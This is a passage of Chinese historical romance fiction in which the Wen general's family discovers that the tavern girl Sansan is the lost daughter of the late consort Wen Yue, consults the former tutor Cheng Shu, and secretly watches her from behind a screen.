眼见卯时过了一大半,杜筠蹲的腿都麻了,她站起来剁了剁脚,抬着头一直往书房那边瞧,见温澄跟往日一样从书房里拿了银枪过来准备习武,几步就凑了上去。
“二哥!”
温澄右手拿着银枪在手里转了转,不冷不淡:“是二表哥,不是二哥。”
若是往日,杜筠可能还会与他论一番,但是今日确实有事,她便又老实唤了一声二表哥。
“何事找我?”
杜筠微微仰头看着他,星眉剑目,气势逼人,细长的丹凤眼冷冷地向下垂望。
杜筠一下走了神,她恍惚地想,她与温澄如此之像,难道真的是姑父的私生女吗?
温澄见她不回话,又冷冷地提高了嗓门:“问你呢,回话!”
杜筠冷不防被吓到,耸着肩膀微微打了个抖,低声道:“二表哥,你小声点,我有要事与你说。”
温澄拧起眉头,眼里尽是怀疑:“你有什么要事?”
他这副模样当真是严厉极了,杜筠当即瑟缩了一下身子。有时候杜筠也不理解自己,明明大表哥更加温润如玉,为什么自己偏偏喜欢凶巴巴的二表哥?
“真的是要事,二表哥你信我。”杜筠低声哀求地看着他。
“那你说是何要事?”
杜筠大着胆子微微凑了过去,低声说起了那日在百花楼遇见三三的事情。
“你胡说?!”温澄微微后退几步,扬起手里的锃亮银枪直指杜筠的咽喉,“你一直住在府上,父亲和母亲对你百般疼爱,你何故造谣诬陷我父亲?!”
温澄平日里极为爱惜这银枪,每日习武之后都要擦这枪头十来回,眼下这泛着寒光的枪头距离杜筠的咽喉咫尺之遥,她差点吓得哭了出来。
“表、表哥,我真的、我真的没有造谣,是真的,那、那三三跟你长得很是相像。”
温澄指着她的枪头又向前了一点,只要手稍稍往前一推,杜筠立即血溅当场,绝无生还可能。
“你说是真的,可我却不信。”温澄知道杜筠性子,不仅容易妒嫉别人,还喜欢在长辈面前搬弄是非,眼下竟然还造他父亲的谣,真真是白眼狼,若是换了旁人,温澄高低得揍对方个四五回,可杜筠偏偏是杜夫人的侄女,还一直养在身边,对她的感情只多不少。
不看僧面也要看佛面,温澄也不好对一小女子下手,只冷冷警告她:“这事我就当没听过,你若是再胡言乱语,不用禀告母亲,我自会把你轰出去。”
杜筠见他收了枪要走,也顾不得会不会被他一枪捅死,死命拉住了温澄的袖子,急切道:“表哥若是不信我,可与我一同去那来财酒楼见那三三!若是见过之后还不信我,表哥大可一枪捅死我!杜筠绝无怨言!”
温澄眼眸冷冷地看着他,面无表情,杜筠眼角还垂着些泪,死死拽着对方的袖子不肯松开,面上一片倔强。
温澄本来是半点不信的,但眼见她如此激动,甚至不像往日一般自己一提高声调就害怕得躲开,不由得起了疑心。
所幸今日无事,他倒要看看杜筠在耍什么花招。
他将银枪负背收好,冷漠道:“好,我便同你一道去见那什么三三,若是发现你在说谎诬陷我父亲,我一定把你轰出去!”
长安街上热闹非凡,卖力吆喝的商贩声音高低不齐,偶尔还能听到小孩子走街串巷的笑闹声。
马车缓缓行驶在中央,温澄端坐着闭目养神,杜筠坐在一旁,双手紧张得来回搓绕个不停,她拿出早已准备好的两顶白色斗笠,来回打量着温澄那冷若冰霜的脸庞,终于鼓起勇气低声道:“二表哥,为了不惊扰旁人,我们待会进去还是戴上这个斗笠吧。”
温澄睁开眼,倒没有说什么,接过她递来的斗笠便带上了头。
等快到来财酒楼时,杜筠叫住了车夫:“就停这,表哥,我们直接走过去吧。”
温澄没理她,自顾自掀开车帘率先下了车。
杜筠亦步亦趋地跟在他身后。
正月还没过,酒楼里的客人说多也不多,说少也不少,三三不像往常那样需要时不时外出给人送酒菜,光是和李大力、刘雁忙着酒楼里外就差不多了。
三三正收拾着上一桌客人遗留下来的残羹剩酒,眼尖地发现门口来了两个戴斗笠的人,这东京城虽然一到冬日就天寒地冻的,但戴衫帽的多,戴斗笠的可就少见了。
三三端着碗,心道这两人该不会是什么江湖人士吧。
饶是心里疑惑万千,三三还是弯了眼睛,扬着笑脸道:“二位贵客里面请,本店的芳菲酒在冬日里最是暖身,贵客若是怕冷,来上一壶保管暖身暖胃!”
白色斗笠能遮住戴着的人,可斗笠里面的人看外面的人却是一清二楚。
温澄在三三转身那一刻,瞳孔倏然放大,心跳猛然停了一瞬。
此人竟然长得跟他如此相像!?难道是……
杜筠见温澄没有回话,想来是也是同当日的她一样被惊呆了。
她看向三三那张脸,眼底思绪万千,忍了半响才柔声道:“既如此,还请姑娘给我们来一壶。”
三三身着粗布麻衣,这身衣服是专门干活用的,眼下被那满是油污的碗筷给沾上倒是一点不在意,她朗声笑了笑:“好嘞!二位贵客请坐,热酒稍后就来!”
温澄依旧呆在原地没有出声,见三三捧着怀里那叠碗消失在了那帘子后才缓过神来。
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“表哥,这下你信我了吧?”杜筠低声道。
温澄语气异常冷漠:“所以呢?单凭我跟她长得像就能怀疑她是我爹的私生女了吗?”
杜筠面色急切,但见周围都是人,只好压低了声音:“表哥,这世上自是有长得相像之人,可长得如此相像,难道不该怀疑二人有血缘关系吗?”
温澄心里虽然满是疑惑,但他自是不信父亲会有私生女,他疑惑的是三三会不会是……
“你不是说她是孤儿吗,无父无母,说不定是巧合罢了。”温澄向来不会在人前显露任何情绪,此事当回家禀明父亲和兄长之后再做打算。
“表哥,”杜筠眼底尽是焦急,面上微微涨红,“表哥你当真不信她是姑父的私生女吗?”
“不信,今日之事我自会查明,你不用再说了,也不要告诉母亲,平白惹得她伤心。”温澄见三三一手拎了酒,一手拿了两个碗,眼眉弯弯地走过来,下意识放轻了声音。
“多谢姑娘。”
三三拔开酒塞子,小心倒了半碗,笑道:“这热酒虽然暖身子,但后劲大着呢,二位还请量力而行。”
温澄颔首点头,再次道了谢。
三三转身离去,在柜台边暗中打量着这人,坐姿端正,宛如松柏,应当是家教极为严苛,想来不是什么江湖人士。
还好还好,不是什么躲避仇人的江湖人,不然要是打起来了可怎么办。
杜筠见三三走了,而温澄当真拿起碗喝起了热酒,一时没忍住,又气又急:“表哥喝了酒回去之后当快速遣人去查明这三三的身世,不然我真怕自己哪天忍不住了跟姑母说起这人。”
温澄没理会她的威胁,自顾自饮完那半碗热酒之后,便从袋子里拿出块银子放在桌上,拎起剩下的半壶酒自个走了。
杜筠这一趟不仅没让温澄相信她,就连那酒香四溢的芳菲酒端到嘴边了都没喝上,眼见温澄三两步就抬脚出了门,她当即搁下碗,手提裙摆急匆匆地追了上去。
三三一扭头的功夫,人便走了,她上前去收碗,只见桌上留下了一块银子。
“王爷,杜筠带着温澄去了来财酒楼,温澄出来后手里还提了壶酒。”十一将两只信鸽上的密信分别取下拆开,上前低声汇报。
裴景明手里拿着本书,闻言只嗯了一声。
十一又借着汇报另一封密信上的内容:“城里那群散播谣言的乞丐招了,都说是一个戴着面具的男人给了他们银子,让他们在城里传唱歌谣。”
裴景明翻了页书:“除了面具,就没有别的信息了是吗?”
十一摊开信双手呈上:“信里并没有提及其他信息,想来是没有。”
裴景明又嗯了一声。
半响,他放下书,取下狼毫在宣纸上洋洋洒洒写下了个等字。
小梅花本来还窝在书架上懒懒地扫着尾巴,见裴景明动了便好奇地抬起了身子,抻长了脑袋,半响竟然轻身跃了下来,抬爪在那黑漆漆的砚台上踩了一脚,倏尔脚步一变在裴景明写好的等字下方留下了几个梅花脚印。
35. 温毓请人
将军府里,温澄自白日里回来后便一直在温将军的书房里候着。眼见外边天幕染上了墨色,院子里的灯笼逐一亮起驱散黑夜,那风尘仆仆的温将军和温大公子终于从军营里回来了。
温将军温昭五官标致,长相白净,在军中素有玉面将军的称号,那温大公子温毓更加,气质温和儒雅,不像武将反倒像个文臣。
温澄见院子里杜夫人关切的声音响起便知晓父兄回来了。他急步跑向院子,望着父亲和兄长的身影,很快就稳住了心神。
温澄上前行了个礼,平日里冷若冰霜的脸此刻难得添了点表情:“今日父亲和兄长怎么回来得这么晚?母亲一直等着你们一起吃饭呢。”
温昭解下军甲,将马鞭递给了身边的管家,拍了拍温澄的肩膀,脸上一片笑意:“今日训练得晚了一会,倒是叫你们好等了,走,吃饭去吧。”
席上除了杜筠时不时和杜夫人撒娇,父子三人皆是沉默地埋头吃饭。
温澄在心里盘算着待会要跟父亲和兄长讲的事,吃得尤为快速。
他放下筷子,看向温昭和温毓:“今日儿子读兵书时遇到一处不解的地方,还请父亲和兄长饭后为儿子解惑。”
温昭手里刚捏着个饼,转眼两三口便吃完了,他又添了点汤:“好,那你先去我书房等着吧。”
温澄应了声是,旋即立马起身回书房装模做样地拿了本兵书。
杜筠知道他要说什么,本来还在跟杜夫人撒娇说要明日去寺庙祈福,见状便熄了声,悄悄竖起耳朵听温昭和温毓的对话。
温昭喝了口热汤,忍不住道:“你弟弟怎么一点都不像我们呢,整天板着个冰山脸。”
“这就不知道了,许是像了舅舅吧?”温毓笑道。
他长得温和儒雅,一笑起来便如同春风沐雨般温柔,杜筠飞快看了他一眼,忍不住红了脸。
温昭乐了:“那说不准了,大舅哥平日里就是个古板脸。”
杜夫人拂起帕子轻拍了他一下,嗔笑道:“说什么呢你,杜筠还在呢。”
杜筠默默端起碗喝汤,心道,姑父说得还真是,温澄平日里跟父亲一样就爱板着脸!如果不是温澄那张脸,她怎么会喜欢他?!
温昭和温毓用完饭后便直奔书房去给温澄解惑。
书房里的蜡烛点得多,极为亮堂,温澄抱着怀里那本兵书一直在想三三的身世。
温昭和温毓进书房时,便见着温澄抱着本书对着蜡烛一直呆坐,烛光投下的身影瞧着有些许疑惑。
“你往日里读书甚少遇到难题,今日是读了哪本书以至于这么疑惑?”温毓笑着上前打趣道。
温澄听见兄长如玉般的声音恍然回神,动作十分敏捷地站了起来。
“怎么这么紧张?”温昭慢悠悠来到他身前拿过温澄手里那本兵书。
温澄也没说话,神色凝重地绕过父亲和兄长,朝二人身后走去迅速关上了门。
温毓本来还想打趣他一番,见他神情如此严肃,不由得惊讶:“这是怎么了?”
温澄看了眼温昭拿着的那本兵书,沉声道:“还请父亲兄长见谅,我撒谎了。”
温昭疑惑地嗯了一声。
温澄继续道:“不是遇到未解的难题,而是遇到了一个未解的人。”
温澄将杜筠今日带他去来财酒楼的事情仔仔细细说了一遍,温昭和温毓越听脸色越沉。
温澄道完今日的事后,父子三人皆陷入了沉默。
约莫过了一炷香的时间,温昭才沉着声音开口:“大晋十八年前没了,当时你们的姑母温玥刚生下一个女儿,阿爷当时归顺就是想保下温玥和那孩子,可不成想,温玥被晋王烧死,那孩子也不知所踪。”
“后来当今陛下问起这事,阿爷不是说姑母当时生的是皇子吗?还说早产身体不好,早早就没了。”温毓当时五岁了,对当年的事记得些许。
温昭叹了口气:“那只是借口,陛下当时定然要搜寻到晋王的子嗣,是杀也好,软禁也好,总之人要在他眼皮底下,阿爷当时那么说是想打消他的怀疑。”
“当年那孩子不知所踪,眼下十八年过去了,若还活着……”温昭眼底情绪复杂,有哀叹、惋惜,但更多的是酸楚。
“难道那三三真的是姑母的孩子吗?”温澄忍不住问道。
温毓拍了拍他肩膀:“咱家的孩子里,就你长得跟你姑母最为相似,连你都觉得那三三跟你长得像了,说不准还真是。”
温昭却没轻易下结论。
他坐在椅子上沉思良久,最终看向温毓:“毓小子,明日你去城外的旧书铺,找一个满是白发的书铺老板,约他晚上来府里。”
“父亲,此人是谁?”温澄蹙眉问道。
温昭看着眼前的烛火跳跃,低声道:“此人是前朝的太子太傅,不肯归顺大楚,辞了官开起了书铺过活。当年温玥救了他,对他有恩,他本来是回了老家的,但几年前又回了东京城,想来他应当是知道什么了。”
“难道是他当年带走了那孩子?”温毓眉头紧紧蹙起。
温昭摇了摇头,心里也拿不准:“不好说,若是他带走了那孩子,那他应该远离东京城才对,不然岂不是引火烧身?”
温澄又问:“或许是他知道了那孩子的下落,所以才会回到东京城?”
温昭深深叹了口气,他扶着额头,低声道:“别猜了,等明晚请他过来一切就知道了。”
“若是他不肯来该如何是好?”温毓抬手在胸前作势用力一劈,“可要动手?”
温昭手撑着额头,抬眼瞧向自个那平时人人夸赞温润如玉的大儿子,忍不住笑道:“我还以为你会三请四请呢,没想到你这么直接。”
温毓却道:“此事事关重大,若是他不肯随我前来,我只好动手了。”
温昭笑了一下:“不会的,太傅是个聪明人,你只要自报家门,说为父要见他,他自会前来。”
翌日,三三还在酒楼里忙前忙后,步履不停收拾桌子时,温毓已然独自一人进了城外的书铺。
温毓随手拿起一本书,暗自打量着这个不起眼的小书铺,书柜里头的书籍填的满满当当,前方展着长桌,上面摊着好些个名人书籍。前头有个约莫十来岁的小孩,估计是那位太傅的孙子,正帮着个书生模样的人埋头在书柜里奋力找着什么书,后头那个年纪更小的女孩站在柜子边怯生生地看着温毓。
温毓低头看了眼手里刚刚随意拿起的书籍,恰好是本游记,他扫了两眼,见那十来岁的小孩此刻帮人找完书得了空闲,便冲他笑了一下:“这位小哥,请问你家书铺老板在吗?”
那小哥愣了一瞬,旋即笑着凑近了两步温毓:“这位公子,您想找什么书,告诉小的即可,不用找我家老板。”
温毓勾了勾嘴角,面上一片和气:“不是找书,我是想见你家老板一面。”
“敢问公子尊姓大名?”
温毓笑道:“温,我姓温,家住长安街西北
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巷。”
此人看起来儒雅温和,不像什么穷凶极恶之徒,小哥孟岸看了眼后边站着的孟双,示意她去后院找程书爷爷。
“如此便请公子稍等片刻了。”
“姓温?家住西北巷?”程书声音略微惊讶。
那不是温昭家吗?
他本来躺在摇椅上捧着本书看,边上架着盆火炉,好不惬意,结果一听温双的话,整个人一下就坐直了。
“快让你哥哥带他进来后院。”
孟双两条腿不停倒腾着飞奔去前面的书铺,孟岸见她回来得如此快速,赶紧凑上去问她结果。
“爷爷说,让你带着这个大哥哥去后院找他。”孟双微微喘着气,胸膛起伏不停。
孟岸拍了拍她脑袋,示意她去柜台后面喝水,见孟双乖乖去倒水喝了才转身对温毓道:“这位公子请随我来。”
温毓放下手上的书,拾步跟了上去。
程书早已将那摇椅搬了回去,重新搬出两张普通的座椅,又在那盆火炉上架起了两块石头烤起了茶。
壶里的茶叶浮在水面上逐渐散开,温度上来之后,又渐渐或浮起或沉下,香气伴随着高温缓缓渗进空中。
温毓进来时就闻到了这股茶香。
“小子见过太傅。”温毓微微弯腰、双手交叉朝程书行了个礼。
程书细听那茶壶渐渐涌出了咕噜咕噜的声音,又放了几个橘子在那石头边上。
“过来坐吧。”
温毓道了声谢,几步过来掀起袍子落座在了程书的对面。
程书揣着双手,眯起眼光明正大地打量起了对面的人。
气质温和儒雅,倒是比温昭还像个儒将。
“你是温家大郎温毓?”
温毓在程书打量他的同时也在默默观察着程书,他四五岁时曾见过这位太傅,尤记得当时此人意气风发,眉眼间尽透着雄韬武略,可眼下当年那股意气风流却不再,留下的除了岁月雕凿的皱纹,还有不甘。
尽管程书已经很掩饰了,但他眼里的那股不甘难以遮掩。
温毓笑了笑,语气恭敬:“难为先生还记得小子。”
程书拿过边上的帕子包住了茶壶的提手一前一后地倒了两杯茶:“你跟你父亲一样,又不一样,你父亲虽然被人称呼为玉面将军,可该有的铁血手段一样不少,你年纪尚轻,既未上阵杀敌,手上也没有沾过血,就算以后沾了血,你也不会是你父亲的翻版。”
这是在说他优柔寡断?
温毓拿过茶杯的手一顿,甫一照面,这太傅就能看出他性格中的缺陷,当真厉害。
温毓也没反驳:“小子确实不如家父。”
程书不轻不重地哼了一声:“依我之见,你当去参加科举入官为相,至于军中,不适合你。”
温毓沉默了,当年父亲也是这么说的。
“说吧,你父亲让你来找我干什么?”程书见他不说话,自觉刚刚的话太过直白,恐伤了这小子的自尊,捻起茶杯喝茶的同时岔开了话题。
温毓也不恼,毕竟程书也不是第一个说他适合做文臣而不是武将的人。
他握着茶杯,看向程书:“家父请太傅今晚在府中一叙。”
程书喝茶的动作不停:“所为何事?”
“小子不知,还请太傅今晚戌时到府中,我已备好车马在书铺外等先生。”
程书放下茶杯,应了声知道了便不再说话。
温家人知道了。
36. 宴请程书
戌时将过,程书依约到了将军府。
温昭今日特地将杜夫人和杜筠打发了出去,此刻府中前厅只有二人。
程书迈着步子缓缓走向前厅,在看到温昭那一刹那,不觉感慨白驹过隙。
“温昭,你老啦,我也老啦。”程书身子骨尚可,只是年轻时少白头,如今已然是满头银发,风烛残年算不上,可却是饱经风霜了。
温昭笑呵呵地上前:“是啊是啊,孩子们都长大了,我们可不就老了。”
温毓和温澄候在一旁,见父亲和程书都落座了,这才让人摆宴。
温昭让人端了一坛酒上来: “太傅,此酒是十八年前我父亲埋下的黄酒,当年是想备给妹妹的孩子的,如今只能我们喝了。”
程书面色平静,闻言也只是笑了一下:“是吗?那真是小老儿的荣幸了。”
二人又说说笑笑地扯了一番,杯中酒满了一杯又一杯。温毓和温澄在一旁眼观鼻鼻观心地默默吃着菜。
“太傅,我此番找您的缘由想来您已是知晓了。”温昭不愧为军中将领,说来也是直来直去的,他往程书的酒杯里再次倒满了黄酒,脸颊微红,眼神清明,“我就问您一句话,那孩子是不是还活着?”
程书虽然是个文臣,但酒量可不一般,黄酒醇厚甘冽,后劲十足,他虽然也红了脸,可瞧那眼神格外清晰,分明是半点不醉。
程书似是有点迟钝,半响才转了转头:“活与不活,你又能如何?”
温昭激动地把酒碗“duang”地一声搁在桌上,想起身大声吼几句,但一瞧自家那两小子都在看他,又降低了声音:“太傅!若是那孩子还活着,就当认回我温家,好生养着,将来成婚生子平安过完这一生!”
程书坐姿端正,面容平和又从容,仿佛与那激动得面色涨红的温昭不是在同一个桌上吃饭。
“认回温家,可她也是晋王的孩子,你私藏前朝皇室中人,若是被明武帝知道,你觉得温家上下还能保住吗?”
温昭狠狠摸了把脸,声音低沉:“当今陛下是个明君,不会容不下一个孩子的。”
“呵,”程书冷笑了一声,“找到人之前自然是那么说,可若找到之后呢?他就不怕这孩子匡复大晋吗?”
“太傅!”温昭愕然,“您此话何意?您是想利用那孩子不成?!”
程书侧头紧盯着他,语气漠然:“我不曾利用她,也不想利用她。”
“你今日找我来,无非就是见到了三三,心中有疑问,”程书端起碗饮了一口酒,“那好,我告诉你,对,三三就是温贵妃的孩子。”
他的话刚一落地,温家三父子的脸色变了又变,心中的疑惑骤然变成肯定的答案,既有欣喜亦有担忧。
“你、你说的是真的?可是当年我们先于明武帝遍寻宫中都找不到那孩子……”温昭紧盯着他,突然回过了神,“……是你,当年是你带走了那孩子。”
程书见他面色涨红得不行,拍了拍温昭的胳膊,示意他坐下冷静冷静。
程书见他和那一直不出声的兄弟俩一直紧盯着他,深深叹了口气,简单把当年的事情一一说明。
“……就是这样,我查清之后就回了东京城一直守着殿下。”
温昭心肠软,边听边哭了起来:“那孩子真是……真是受了好多苦啊,我听二郎说她在酒楼做活,每天都很累,吃不饱穿不暖的……是我这个舅舅对不起她啊!”
一旁的温澄想出声解释没有那么惨,但温毓看老父亲哭得涕泗横流,按住了蠢蠢欲动想站起来解释的弟弟。
程书拍了拍哭成泪人的温昭,安慰道:“将军,她现在过得挺好的,没有你说的那么惨。”
“真的吗?”温昭眼眶通红,眼泪鼻涕都流到了一起,温毓看不下去,拿出帕子递给父亲示意他擦擦。
温昭这才反应过来两个儿子还在一旁,急忙接过帕子背过身去仔细擦脸。
待他擦完脸,人也平静了下来,程书才回到他刚刚的问题:“真的,殿下是个知足常乐的孩子。”
温昭手里拿着帕子背回身来对着程书,又问:“那东京城近来盛传的歌谣,是不是说的就是三三?这歌谣是不是你弄出来的?”
程书心里叹了口气,只道:“说的是三三,但歌谣不是我弄出来的,是手底下人自作主张……”
“手底下人?看来太傅您真的……是想拥护三三匡复大晋吗?”温昭心中震惊不已。
“我深受温贵妃大恩,自然是想保着殿下平安度过一生,可她身份使然,这是她的宿命。”
“什么狗屁宿命?!”温澄一番听下来,此时不免有些为三三打抱不平,他站起身子,厉声道,“她生来未享受过任何富贵,为何要为那所谓的身份平白搭上自己的一生甚至性命?!”
温毓见他如此激动,低声呵斥道:“温澄,不得无礼!”
“兄长!你不也这么认为吗?!”温澄低头看了温毓一眼。
温毓手上使了些力气,一把将温澄给拉坐了下来,低声威胁:“温澄,闭嘴,再嚷嚷小心我……小心我揍你!”
温澄却不怵他,使劲想挣开兄长箍住的手。
温昭蹙眉看向温澄:“温澄,喝酒了撒酒疯是吧?大郎,带他回去歇息。”
温毓看了一眼还在挣扎的温澄,应了声是就拉着温澄往后院走。
“你这两个儿子,挺不错的。”程书似是一点都不受刚刚温澄的话的影响,他有又端起碗饮了一口酒,看向温昭,“一文一武,甚好甚好。”
“太傅,您刚刚所说所为何意?”温昭没接他的话,又绕回了刚刚的话题。
程书端着酒碗,露出了那双鹰眸般锋利的眼睛:“殿下就是殿下,就算她不肯复国,可底下的人会愿意吗?”
“你以为底下人要的是她登基复国吗?温昭,过了十八年的安生日子,是不是忘了当年征战沙场,尔虞我诈的日子了?”
“只要她是晋王的子嗣,只要有她在,出兵就有由头。”
温昭默然半响,直到程书喝完了那剩下的半碗酒,才拿过酒壶给他续酒:“太傅手底下想必是召集了不少老臣和将士吧?”
程书没回答他,但此时的不回答便是最好的回答。
“三三的意思呢?她愿意吗?”温昭又问。
程书摇了摇头:“殿下心软善良,我曾问过她,她的意思是不愿掀起战争,致使百姓流离失所。”
“那何不……”
“何不什么?她的身份注定了是要向大楚皇帝亮剑厮杀的,你要她安稳,便是要她放下手中的刀任人宰割!再说了,你能护她吗?就算能护她,你能护她一辈子吗?!”程书骤然提高了声调。
温昭给程书续完酒,端着那酒坛陷入了沉默。
“我要见她,”温昭放下酒
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坛,肯定道,“我要见这孩子。”
程书再次拿起酒碗,此次不同前两次饮酌两口,他仰起头颅一饮而尽,“好,你要见她,自去来财酒楼见吧。”
那日的宴席说不上不欢而散,但也论不上宾至如归。
程书自那日起便待在书铺一直不再出门,院里的枯树渐渐冒出点新芽,不仔细看根本看不出来,唯有挂那枝头上的红纸灯笼随风摇曳时才能听出点沙沙动静。
落叶一茬又一茬地随风扬起又落下,程书坐在院中,手掌张开托住了那本该落向地面的一片枯叶。
枯叶的纹路干巴得早已看不清,三三将那随手拦下的枯叶折了折,发现折不出她想要的模样,折腾了好一番才不甘心地扔回了那枯树底下。
“三三,长安街西北巷的将军府,今早遣人来订了十坛芳菲酒,你去送吧。”老板娘手里的算盘噼啪作响,但她吩咐三三时丝毫不乱,可见其功力之深厚。
三三靠在后院那棵枯树上,本想趁机偷个懒,结果还没开始呢,就被老板娘安排了活。
“知道了!”三三拔高了声音,抬脚绕到仓库里取酒装车。
“今日我听闻那英雄楼请了戏班子过来唱戏,夫人何不同阿筠一道去看看?”温昭今日休沐,早早就计划好了今日的事情,眼下要将杜夫人和杜筠支离府中。
杜夫人爱看戏,平日里用过早饭之后惯例是要再喝杯养生茶的,听温昭这么一说,这下连茶也顾不得喝了,招呼着杜筠就要备车去那英雄楼。
温昭笑呵呵地将二人送出门,眼见马车驶离出了巷子,这才赶紧回去叫了温毓和温澄出来。
“父亲,可是要同三三认亲?”温毓问道。
温昭反问:“不然呢?”
温毓蹙了蹙眉:“儿子觉得,现在认亲不是好时机。”
一旁的温澄难得同兄长意见一致:“儿子也这么认为。”
温昭掀袍坐下:“大郎你说说为什么不是好时机?”
“眼下那歌谣四起,虽然已经把传唱的乞丐都抓了,但毕竟还有许多人听过这歌谣,前朝不肯归顺的臣子将士不在少数,虽没有再做官,可本领却还在,若是被有心人利用,难免一呼百应,祸乱一方。”
“若是此刻父亲与三三相认,三三的身份还能瞒多久?会不会被人认为父亲也是想……”
“……一招不慎,恐全家将没。”
温澄也道:“大哥说得不错,再者,那太傅当日也说了,是底下人弄出的事情,如果三三不能回去解决好这事的话,那日后恐怕还会有更棘手的事情。”
温昭感觉这两日的气都要被自己叹完了。
“可待会三三就来了,这怎么办?”
温毓笑了笑:“这很简单,让管家孙伯去接待她,我们父子三人躲在屏风后即可。”
“可是大郎啊,如果此时不认亲,何时才能认亲呢?”温昭看着自己的大儿子,眼底充满了无奈。
温毓没有回答父亲。
“或许不一定要明面上的认亲,双方心知肚明如何呢?”温澄道。
温毓侧身瞧他,眼底微微惊讶。
温昭点点头:“对啊,我们双方心知肚明即可,又不一定要大肆宣扬搞得众人皆知。”
温毓思忖片刻,难得同意了弟弟的提议。
父子三人费尽心思筹谋了一顿,殊不知三三早已知晓温家的身份。
37. 三三送酒
三三推着推车到将军府时,望着门前雄伟的将军府三个大字,再打眼一瞧两边立着的石狮,又顺着石狮往后一看那大门两侧穿甲持枪挺拔站立的士兵,不由心生感概,真是好生严肃又雄气!
管家孙伯早早得了命令就在门前候着,眼见门口停了辆手推车,车前还站着一个十七八岁的女子,他赶紧迈步出门定睛瞧去,只见此女跟自家小公子长得颇为相似,顿时明白这就是将军所说要等的人。
孙伯沿着石梯下来前去迎三三,笑呵呵道:“姑娘可是来财酒楼的三三?”
三三见这老伯如此和气慈祥,忍不住也笑了:“是的,今早将军府来人订了酒,我是来送酒的。”
孙伯往她身后的推车看了一眼,又单手朝府门摊开,微微弯腰:“正是,老朽姓孙,是府上的管家,姑娘一路送过来,想必累了,还请姑娘移步前厅尝尝府中的茶水甜心。”
三三心中不解,往日里送酒上门给那些员外大人,多是让她在门外等着,这还是头一回送酒还请喝茶的。
“好意心领了,但这也太劳烦孙伯了。”三三打算婉拒对方的好意。
就三三以往听过的事例,这种时候一来二去的推脱做个模样也就差不多了。岂料这孙伯一点都没这个意思,依旧摊手恭敬道:“我家大人已经交代了,还请姑娘莫要推脱。”
三三眨了眨眼,心里捉摸不定,这是要做什么?
“姑娘请。”孙伯继续作势请她。
三三颔首笑了笑:“如此就有劳孙伯了。”
孙伯走在她身侧几步,笑道:“不麻烦不麻烦,姑娘这边请。”
三三拾步走上台阶,略微落后几步这孙伯。
这将军府跟元安王府的布置可谓是大相径庭,元安王府多花草,这将军府除了几棵常青树,别的花草倒很少,廊下也没有什么趣味,直板得很,穿过这边的走廊再往前五六十步就到了前厅,前厅倒是古色古香,抬眼望去率先映入眼帘的是一幅山水画。
将军府不挂将军之类的画像反倒挂山水画,倒是有些稀奇。
孙伯早已吩咐人备好了茶水点心,轻轻拉开椅子就请三三坐下。
“姑娘,请坐。”
三三心道,虽然她与这温将军确实有点亲戚关系,但眼下就她知道吧?既如此,为何这孙伯对自己如此客气?
她心有疑惑,面上却极为冷静,动动嘴角扯出了个笑脸:“多谢孙伯。”
三三落座的位置是有讲究的,因为她面前正好对着扇屏风。
屏风上落的画也是幅山水图,不同的是山很多很黑,不同于其他屏风再怎么样也能看出点后面的情形,这扇屏风压根看不出什么,你以为屏风后站着个人,可再仔细一瞧那分明是那重峦叠嶂的山。
三三默不作声地打量了几回,终于确定那身后的屏风没有人了,这才安然定下心喝起了茶。
而此时屏风后面的温家三父子,个个心如擂鼓,一见三三盯着屏风便再也不敢有所动作,几个来回下来,温昭感觉比自己带兵打仗还要累。
眼见三三终于不盯着这屏风看了,顿时长舒一口气。
温澄在酒楼时见过三三,当时隔着斗笠看,如今隔着屏风看,倒是又有了一个新的发现,比如三三微微低下头喝茶时,看起来比较温顺乖巧,跟温毓有得一比。
他悄悄看了一眼身侧的兄长,但很快就被温毓发觉了。
温毓睁着眼睛不明所以地看着他。
温澄学着三三低头喝茶的样子,又一指温毓。
温毓瞬间明白过来,这是说三三这个动作像他?
一旁的老父亲温昭浑然不觉两个儿子的比划,满心满眼地盯着屏风另一边的三三。
真像温玥啊,温昭忍不住红了眼眶。
温毓发现老父亲将哭不哭的模样,轻轻拍了拍他的肩膀。
桌上摆了十来份精致的甜点,三三不敢多尝,只拿了自己前面的两碟子酥糕和枣糕。
那枣糕甜而不腻,上面撒着的花生坚果十分香脆,三三没忍住又拿了一块。
正当她咬下半口枣糕时,门外传来一阵嘈杂声。
“凭什么不让我进去啊?你们反了不成?”杜筠的声音在前院骤然响起,急切又激动,声音颇为尖锐刺耳。
“小姐,将军吩咐了,今日前厅有贵客,任何人都不能前往。”前面赫然站了好几个侍女,整齐地排成一排拦住了杜筠的去路。
杜筠本来是跟杜夫人一同前往英雄楼看戏的,但行至半路杜夫人突然想起自己的养生茶没喝,原也不是什么大事,看完戏回去再喝也行,但杜筠有心想在杜夫人面前卖乖,愣是不顾杜夫人的阻拦硬要自己回来装了那茶带过去给她。
“你胡说!”杜筠大声呵斥了那领头侍女,“今日姑父休沐,若是有贵客要来,怎么会让姑母出去听戏?”
那领头侍女在府中待了十来年,已是一等侍女,对这位夫人侄女,尚书小姐,向来是恭敬但不怵的。
她双手交叠放在腰前,语气公事公办:“奴婢没有胡说,还请小姐声音小点,若是惊扰了将军和贵客,恐怕不妥。”
杜筠气势汹汹地上前推了她一把,抬起手还想扇一巴掌教训教训这侍女,结果在半空就被人给攥住了手腕。
她扭头一看,发现攥住她的赫然是温毓!
“大、大表哥。”杜筠怯怯地缩回自己的手。
温毓知道这个表妹平日里就爱大声喧闹,偏生杜夫人觉得这热闹、有人气,温家兄弟纵是不喜,倒也不好说什么,结果没想到这杜筠竟然如此品行如此恶劣。
“你身为礼部尚书家的千金,本应最懂礼数,可事实呢,平日里在家中大声吵闹便算了,你明知父亲现在在接待贵客,依旧不知放轻音调,甚至还要对提醒你的侍女动手!”温毓面容上是少见的严肃,他拧紧眉头低声呵斥道,“看来不管教管教你是不行了!来人!将小姐带回房中,禁闭三日,没有我的允许,谁也不准去看她!”
杜筠脸色瞬间煞白,她知道这个大表哥虽然看起来温和儒雅,平易近人,可说话做事向来是说一不二的。
她下意识上前想去抓温毓的袖子,却被两名侍女一左一右地架住了胳膊要往外拖。
“表、表哥,我错了,我错了……”杜筠脸上一片崩溃,眼泪“唰”地就流了下来,她压着哭腔小声喊道,“我知道错了表哥,别关我禁闭……”
温毓不为所动,从小到大,她的眼泪只对杜夫人有用。
他掀起眼皮看了眼那两名侍女,低声道:“还不快带小姐回去?”
那两名侍女应了声是,当即使上了平日里干活的力气,十分默契的拉着杜筠往她厢房里走,见杜筠还勾着脚拖地不断挣扎,两人对视一眼之后,腾地一下就给杜筠给微微凌空了起来。
